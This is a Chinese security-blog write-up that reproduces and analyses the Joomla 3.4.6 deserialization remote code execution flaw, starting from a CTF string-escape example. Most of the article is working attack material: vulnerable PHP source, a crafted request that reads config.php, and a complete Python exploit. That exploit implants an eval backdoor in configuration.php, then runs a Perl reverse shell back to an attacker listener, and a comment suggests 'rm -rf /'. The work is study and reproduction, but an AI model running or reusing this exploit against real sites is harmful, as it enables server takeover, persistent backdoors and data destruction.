freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Joomla 3.4.6 RCE复现及分析
MS08067安全实验室 2021-02-03 20:41:25 224453
所属地 江苏省

作者:whojoe(MS08067安全实验室SRST TEAM成员)

前言

前几天看了下PHP 反序列化字符逃逸学习,有大佬简化了一下joomla3.4.6rce的代码,今天来自己分析学习一下。

环境搭建

Joomla 3.4.6 : [https://downloads.joomla.org/it/cms/joomla3/3-4-6](https://downloads.joomla.org/it/cms/joomla3/3-4-6)

php :5.4.45nts(不支持php7)

影响版本: 3.0.0 --- 3.4.6

漏洞利用: https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla

(https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla)

要求PHP Version >= 5.3.10

反序列化长度扩展分析

## 0CTF-2016-piapiapia中的利用代码

这里就直接从大佬那里把代码拿来了

index.php

<?php
  require_once('class.php');
  if(isset($_SESSION['username'])) {
    header('Location: profile.php');
    exit;
  }
  if(isset($_POST["username"]) && isset($_POST["password"])) {
    $username = $_POST['username'];
    $password = $_POST['password'];


    if(strlen($username) < 3 or strlen($username) > 16) 
      die('Invalid user name');


    if(strlen($password) < 3 or strlen($password) > 16) 
      die('Invalid password');


    if($user->login($username, $password)) {
      $_SESSION['username'] = $username;
      header('Location: profile.php');
      exit;
    }
    else {
      die('Invalid user name or password');
    }
  }
  else {
echo '
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div class="container" style="margin-top:100px">
    <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
      <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
      <h3>Login</h3>
      <label>Username:</label>
      <input type="text" name="username" style="height:30px"class="span3"/>
      <label>Password:</label>
      <input type="password" name="password" style="height:30px" class="span3">


      <button type="submit" class="btn btn-primary">LOGIN</button>
    </form>
  </div>
</body>
</html>';


  }
?>

profile.php

<?php
  require_once('class.php');
  if($_SESSION['username'] == null) {
    die('Login First');
  }
  $username = $_SESSION['username'];
  $profile=$user->show_profile($username);
  if($profile  == null) {
    header('Location: update.php');
  }
  else {
    $profile = unserialize($profile);
    $phone = $profile['phone'];
    $email = $profile['email'];
    $nickname = $profile['nickname'];
    $photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div class="container" style="margin-top:100px">
    <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
    <h3>Hi <?php echo $nickname;?></h3>
    <label>Phone: <?php echo $phone;?></label>
    <label>Email: <?php echo $email;?></label>
  </div>
</body>
</html>
<?php
  }
?>

register.php

<?php
  require_once('class.php');
  if(isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];


    if(strlen($username) < 3 or strlen($username) > 16) 
      die('Invalid user name');


    if(strlen($password) < 3 or strlen($password) > 16) 
      die('Invalid password');
    if(!$user->is_exists($username)) {
      $user->register($username, $password);
      echo 'Register OK!<a href="index.php">Please Login</a>';
    }
    else {
      die('User name Already Exists');
    }
  }
  else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div class="container" style="margin-top:100px">
    <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
      <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
      <h3>Register</h3>
      <label>Username:</label>
      <input type="text" name="username" style="height:30px"class="span3"/>
      <label>Password:</label>
      <input type="password" name="password" style="height:30px" class="span3">


      <button type="submit" class="btn btn-primary">REGISTER</button>
    </form>
  </div>
</body>
</html>
<?php
  }
?>

update.php

<?php
  require_once('class.php');
  if($_SESSION['username'] == null) {
    die('Login First');
  }
  if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {


    $username = $_SESSION['username'];
    if(!preg_match('/^\d{11}$/', $_POST['phone']))
      die('Invalid phone');


    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
      die('Invalid email');

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
      die('Invalid nickname');


    $file = $_FILES['photo'];
    if($file['size'] < 5 or $file['size'] > 1000000)
      die('Photo size error');


    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    $profile['phone'] = $_POST['phone'];
    $profile['email'] = $_POST['email'];
    $profile['nickname'] = $_POST['nickname'];
    $profile['photo'] = 'upload/' . md5($file['name']);


    $user->update_profile($username, serialize($profile));
    echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
  }
  else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div class="container" style="margin-top:100px">
    <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
      <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
      <h3>Please Update Your Profile</h3>
      <label>Phone:</label>
      <input type="text" name="phone" style="height:30px"class="span3"/>
      <label>Email:</label>
      <input type="text" name="email" style="height:30px"class="span3"/>
      <label>Nickname:</label>
      <input type="text" name="nickname" style="height:30px" class="span3">
      <label for="file">Photo:</label>
      <input type="file" name="photo" style="height:30px"class="span3"/>
      <button type="submit" class="btn btn-primary">UPDATE</button>
    </form>
  </div>
</body>
</html>
<?php
  }
?>

class.php

<?php
require('config.php');


class user extends mysql{
  private $table = 'users';


  public function is_exists($username) {
    $username = parent::filter($username);


    $where = "username = '$username'";
    return parent::select($this->table, $where);
  }
  public function register($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);


    $key_list = Array('username', 'password');
    $value_list = Array($username, md5($password));
    return parent::insert($this->table, $key_list, $value_list);
  }
  public function login($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);


    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    if ($object && $object->password === md5($password)) {
      return true;
    } else {
      return false;
    }
  }
  public function show_profile($username) {
    $username = parent::filter($username);


    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    return $object->profile;
  }
  public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);


    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
  }
  public function __tostring() {
    return __class__;
  }
}


class mysql {
  private $link = null;


  public function connect($config) {
    $this->link = mysql_connect(
      $config['hostname'],
      $config['username'], 
      $config['password']
    );
    mysql_select_db($config['database']);
    mysql_query("SET sql_mode='strict_all_tables'");


    return $this->link;
  }


  public function select($table, $where, $ret = '*') {
    $sql = "SELECT $ret FROM $table WHERE $where";
    $result = mysql_query($sql, $this->link);
    return mysql_fetch_object($result);
  }


  public function insert($table, $key_list, $value_list) {
    $key = implode(',', $key_list);
    $value = '\'' . implode('\',\'', $value_list) . '\''; 
    $sql = "INSERT INTO $table ($key) VALUES ($value)";
    return mysql_query($sql);
  }


  public function update($table, $key, $value, $where) {
    $sql = "UPDATE $table SET $key = '$value' WHERE $where";
    return mysql_query($sql);
  }


  public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);


    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
  }
  public function __tostring() {
    return __class__;
  }
}
session_start();
$user = new user();
$user->connect($config);

config.php

<?php
  $config['hostname'] = '127.0.0.1';
  $config['username'] = 'root';
  $config['password'] = 'root';
  $config['database'] = 'test';
  $flag = '121312131';
?>

分析

index.php是登录界面(没啥用)

profile.php是读取文件的(划重点)

register.php是注册的(没啥用)

update.php是更新信息(划重点)

class.php是核心代码(划重点)

config.php flag在里面

在profile.php中可以读取文件,并且上面有反序列化操作,在update.php文件上传没有做任何过滤,但是估计实际环境会限制代码执行,在class.php中有序列化操作,并且对字符串进行了替换,由于没有对传入的单引号进行过滤,所以是存在sql注入的,但是没什么用,数据库中的所有东西都是我们可控的,所以重点就在了序列化和反序列化还有字符串长度替换上,看下过滤代码

public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);


    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
  }

可以看到长度唯一改变的就是where,那么我们上传一个文件看一下

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";s:5:"joezk";s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

这里面的photo是我们想要控制的,那么我们就需要控制nickname字段加上长度的替换来实现任意文件读取,但是nickname长度被限制

if(!preg_match('/^\d{11}$/', $_POST['phone']))
      die('Invalid phone');


    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
      die('Invalid email');

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
      die('Invalid nickname');


    $file = $_FILES['photo'];
    if($file['size'] < 5 or $file['size'] > 1000000)
      die('Photo size error');

这里可以使用数组绕过,那么我们就传一下数组来看一下

图片.png

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"joezk";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

发现里面的结构发生了改变,所以我们就要考虑如何构造,因为后面的s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}是没用的,所以这一部分就被丢弃了,为了保证还有photo字段,就要把字符串进行扩充,结合前面的正则替换,where变成hacker,增加了一个长度,所以我们的最终序列化之后的应该是这种格式的

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"where";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

其中的where";}s:5:"photo";s:10:"config.php";}是我们要发送过去的nickname

";}s:5:"photo";s:10:"config.php";}长度为34,那么我们就需要把这34位给挤出去,才能保证这个是可以反序列化的,为了把这34位挤出去,就需要34个where来填充,经过正则匹配后,就会变成34个hacker长度就增加了34位,即可满足我们的要求

即nickname为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

发送数据包

POST /fff/update.php HTTP/1.1
Host: 192.168.164.138
Content-Length: 1405
Cache-Control: max-age=0
Origin: http://192.168.164.138
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjxnZAvhPqkTxgKar
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.164.138/fff/update.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rdfs2saq7tgjqa3p224g33cg16
Connection: close


------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="phone"


12345678901
------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="email"


123123@qq.com
------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="nickname[]"


wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="photo"; filename="QQ&#25130;&#22270;20200428221719.jpg"
Content-Type: image/jpeg


11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111


------WebKitFormBoundaryjxnZAvhPqkTxgKar--

查看数据库中结果

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

打开profile.php即可查看结果

图片.png

经过base64解密

图片.png

joomla中的利用

代码是从大佬那里哪来的,具体如下

<?php
class evil{
    public $cmd;


    public function __construct($cmd){
        $this->cmd = $cmd;
    }


    public function __destruct(){
        system($this->cmd);
    }
}


class User
{
    public $username;
    public $password;


    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }


}


function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}


function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}


if(file_exists("dbs.txt")){
    unlink("dbs.txt");
}


$username = "peri0d";
$password = "1234";
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));

username和password我们是可控的

大概的利用链就是通过反序列化来调用evil函数执行我们要执行的命令

<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}


class User
{
    public $username;
    public $password;
    public $ts;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
$username = "peri0d";
$password = "1234";
$r = new User($username, $password);
$r->ts = new evil('whoami');
echo serialize($r);
//O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

看以前前面的过滤,如果传入chr(0).'*'.chr(0)是没什么用的,但是如果传入\0\0\0,就可以对序列化的字符串长度进行缩短,我们刚才的payload需要进行修改才可以用,首先,正常经过序列化的只有两个参数,而我们构造的有三个,正好结合前面的长度缩短删除掉一个参数即可实现,所以最终的payload应该是这样的。

<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}


class User
{
    public $username;
    public $password;
    public $ts;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
$aa='O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
unserialize($aa);

我们来对比一下序列化之后的字符串

O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

可以看出两个不同的就是

peri0d";s:8:"password";s:4:"1234

目的就是要把利用长度缩减把password字段给包括到username字段里,这一部分,他的长度是32要去掉

这里面我们的payload是

s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}

长度为47

我们只能控制两个参数就是username和password,我们为了保证password字段被username吃掉而且还要保证payload能够被利用,payload就要放在password字段中传入,通过username字段进行缩减从而达到目标,有了思路,就开始构造。

$username = "peri0d";
$password = '123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
echo serialize(new User($username, $password));
//O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:55:"12345";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

这里我们需要删除的是

";s:8:"password";s:55:"123455

他的长度是28

在正则中

str_replace('\0\0\0', chr(0).'*'.chr(0), $data);

我们每次只能删除的长度是3,所以字符串长度应该是3的倍数,那么就把长度减一,变成27即可,需要9个\0\0\0

$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
echo serialize(new User($username, $password));
//O:4:"User":2:{s:8:"username";s:60:"peri0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

执行一下

$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));

图片.png

可以看到我们的payload已经执行了。

漏洞复现

下载poc之后安装需要的包,运行exp

图片.png

菜刀按上面的网址和密码链接

图片.png

查看configuration.php发现已经写入一句话

图片.png

exp分析

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored

PROXS = {'http':'127.0.0.1:8080'}
#PROXS = {}

def random_string(stringLength):
      letters = string.ascii_lowercase
      return ''.join(random.choice(letters) for i in range(stringLength))


backdoor_param = random_string(50)

def print_info(str):
      print(colored("[*] " + str,"cyan"))

def print_ok(str):
      print(colored("[+] "+ str,"green"))

def print_error(str):
      print(colored("[-] "+ str,"red"))

def print_warning(str):
      print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):
      token = ''
      resp = requests.get(url, cookies=cook, proxies = PROXS)
      html = BeautifulSoup(resp.text,'html.parser')
      # csrf token is the last input
      for v in html.find_all('input'):
              csrf = v
      csrf = csrf.get('name')
      return csrf


def get_error(url, cook):
      resp = requests.get(url, cookies = cook, proxies = PROXS)
      if 'Failed to decode session object' in resp.text:
              #print(resp.text)
              return False
      #print(resp.text)
      return True


def get_cook(url):
      resp = requests.get(url, proxies=PROXS)
      #print(resp.cookies)
      return resp.cookies


def gen_pay(function, command):
      # Generate the payload for call_user_func('FUNCTION','COMMAND')
      template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
      #payload =  command + ' || $a=\'http://wtf\';'
      payload =  'http://l4m3rz.l337/;' + command
      # Following payload will append an eval() at the enabled of the configuration file
      #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
      function_len = len(function)
      final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
      return final

def make_req(url , object_payload):
      # just make a req with object
      print_info('Getting Session Cookie ..')
      cook = get_cook(url)
      print_info('Getting CSRF Token ..')
      csrf = get_token( url, cook)

      user_payload = '\\0\\0\\0' * 9
      padding = 'AAA' # It will land at this padding
      working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
      clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

      inj_object = '";'
      inj_object += object_payload
      inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
      password_payload = padding + inj_object
      params = {
          'username': user_payload,
          'password': password_payload,
          'option':'com_users',
          'task':'user.login',
          csrf :'1'
          }

      print_info('Sending request ..')
      resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
      return resp.text

def get_backdoor_pay():
      # This payload will backdoor the the configuration .PHP with an eval on POST request

      function = 'assert'
      template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
      # payload =  command + ' || $a=\'http://wtf\';'
      # Following payload will append an eval() at the enabled of the configuration file
      payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
      function_len = len(function)
      final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
      return final

def check(url):
      check_string = random_string(20)
      target_url = url + 'index.php/component/users'
      html = make_req(url, gen_pay('print_r',check_string))
      if check_string in html:
              return True
      else:
              return False

def ping_backdoor(url,param_name):
      res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
      if 'PWNED' in res.text:
              return True
      return False

def execute_backdoor(url, payload_code):
      # Execute PHP code from the backdoor
      res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
      print(res.text)

def exploit(url, lhost, lport):
      # Exploit the target
      # Default exploitation will append en eval function at the end of the configuration.pphp
      # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
      # e.g. get_payload('system','rm -rf /')

      # First check that the backdoor has not been already implanted
      target_url = url + 'index.php/component/users'

      make_req(target_url, get_backdoor_pay())
      if ping_backdoor(url, backdoor_param):
              print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
              print_info('Now it\'s time to reverse, trying with a system + perl')
              execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')


if __name__ == '__main__':
      parser = argparse.ArgumentParser()
      parser.add_argument('-t','--target',required=True,help='Joomla Target')
      parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
      parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
      parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
      parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
      args = vars(parser.parse_args())


      url = args['target']
      if(check(url)):
              print_ok('Vulnerable')
              if args['exploit']:
                      exploit(url, args['lhost'], args['lport'])
              else:
                      print_info('Use --exploit to exploit it')

      else:
              print_error('Seems NOT Vulnerable ;/')

在第一行已经定义了代理

PROXS = {'http':'127.0.0.1:8080'}

获取cookie

def get_cook(url):
     resp = requests.get(url, proxies=PROXS)
     #print(resp.cookies)
     return resp.cookies

获取csrf token

def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf

图片.png

验证漏洞存在,如果存在的话,执行exploit

从新获取cookie和token,写入一句话,检查一句话是否存在,之后通过一句话执行反弹shell操作

def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');'

这里跟踪一下写入一句话,漏洞点存在于libraries/joomla/session/storage/database.php中于是我们在这里下断点查看一下

public function read($id)
{
    // Get the database connection object and verify its connected.
    $db = JFactory::getDbo();


    try
    {
      // Get the session data from the database table.
      $query = $db->getQuery(true)
        ->select($db->quoteName('data'))
      ->from($db->quoteName('#__session'))
      ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));


      $db->setQuery($query);


      $result = (string) $db->loadResult();


      $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);


      return $result;
    }
    catch (Exception $e)
    {
      return false;
    }
  }


  /**
   * Write session data to the SessionHandler backend.
   *
   * @param   string  $id    The session identifier.
   * @param   string  $data  The session data.
   *
   * @return  boolean  True on success, false otherwise.
   *
   * @since   11.1
   */
  public function write($id, $data)
{
    // Get the database connection object and verify its connected.
    $db = JFactory::getDbo();


    $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);


    try
    {
      $query = $db->getQuery(true)
        ->update($db->quoteName('#__session'))
        ->set($db->quoteName('data') . ' = ' . $db->quote($data))
        ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
        ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));


      // Try to update the session data in the database table.
      $db->setQuery($query);


      if (!$db->execute())
      {
        return false;
      }
      /* Since $db->execute did not throw an exception, so the query was successful.
      Either the data changed, or the data was identical.
      In either case we are done.
      */
      return true;
    }
    catch (Exception $e)
    {
      return false;
    }
  }

看以前前面的过滤,如果传入chr(0).’*’.chr(0)是没什么用的,但是如果传入\0\0\0,就可以对序列化的字符串长度进行缩短,有了之前的分析,这里就会好理解许多,可以参考我的另一篇文章PHP 反序列化字符逃逸学习(https://blog.csdn.net/qq_43645782/article/details/105801796)

数据库中的数据

__default|a:8:{s:15:"session.counter";i:3;s:19:"session.timer.start";i:1588261345;s:18:"session.timer.last";i:1588261347;s:17:"session.timer.now";i:1588261570;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || 